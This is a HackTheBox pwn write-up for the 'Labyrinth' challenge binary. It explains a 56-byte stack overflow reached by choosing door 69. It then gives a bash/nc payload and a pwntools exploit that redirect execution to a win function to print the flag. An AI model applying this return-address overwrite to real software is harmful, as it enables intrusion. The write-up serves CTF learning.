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Labyrinth

XESXOR9/10/20262 min read
#pwn#htb#easy#buffer_overflow#ret2win#return_address_overwrite#stack_alignment#linux

Labyrinth

Platform: HackTheBox | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-29 | Status: Solved Techniques: buffer_overflow, ret2win, return_address_overwrite, stack_alignment

Summary

You find yourself trapped in a mysterious labyrinth, with only one chance to escape. Choose the correct door wisely, for the wrong choice could have deadly consequences.

Labyrinth - HackTheBox

Description

You find yourself trapped in a mysterious labyrinth, with only one chance to escape. Choose the correct door wisely, for the wrong choice could have deadly consequences.

Binary Analysis

File: ELF 64-bit executable, not stripped

Security:

  • No PIE (fixed addresses)
  • No stack canary
  • NX enabled (no shellcode execution)
  • Full RELRO

Key findings:

  • Function escape_plan at 0x401255 reads and prints flag.txt
  • This is a classic ret2win scenario

Vulnerability

  1. Program displays 100 doors and asks user to select one
  2. Selecting door 69 triggers special path: "Fly like a bird and be free!"
  3. Program asks if user wants to change choice
  4. Second input uses fgets(s, 0x44, stdin) - reads 68 bytes
  5. Buffer s is at rbp-0x30 (48 bytes from rbp)

Buffer overflow math:

  • Buffer size: 48 bytes
  • Read size: 68 bytes (0x44)
  • Overflow: 20 bytes
  • Offset to return address: 48 (buffer) + 8 (saved rbp) = 56 bytes

Exploitation Strategy

  1. Select door 69 to reach vulnerable code path
  2. Overflow buffer to overwrite return address
  3. Use ret gadget (0x401016) for 16-byte stack alignment (x86_64 ABI requirement)
  4. Jump to escape_plan function to print flag

Solution

Bash one-liner

bash
(echo '69'; sleep 1; printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16\x10\x40\x00\x00\x00\x00\x00\x55\x12\x40\x00\x00\x00\x00\x00'; sleep 3) | nc TARGET_IP TARGET_PORT

Pwntools exploit

python
#!/usr/bin/env python3
from pwn import *

# Connection
p = remote('TARGET_IP', TARGET_PORT)
# p = process('./labyrinth')  # for local testing

# Select door 69 to reach vulnerable path
p.sendlineafter(b'>> ', b'69')

# Addresses (no PIE = fixed)
ret_gadget = 0x401016      # ret instruction for stack alignment
escape_plan = 0x401255     # win function that prints flag

# Build payload
offset = 56                # 48 bytes buffer + 8 bytes saved rbp
payload = b'A' * offset
payload += p64(ret_gadget)  # align stack to 16 bytes
payload += p64(escape_plan) # return to win function

# Send payload
p.sendlineafter(b'>> ', payload)

# Get flag
p.interactive()

Lessons Learned

  • Always check for hidden code paths (door 69 was the key)
  • x86_64 requires 16-byte stack alignment before call - use ret gadget
  • ret2win is the simplest form of ROP - just redirect execution to existing function
  • objdump -d or radare2 quickly reveals win functions in non-stripped binaries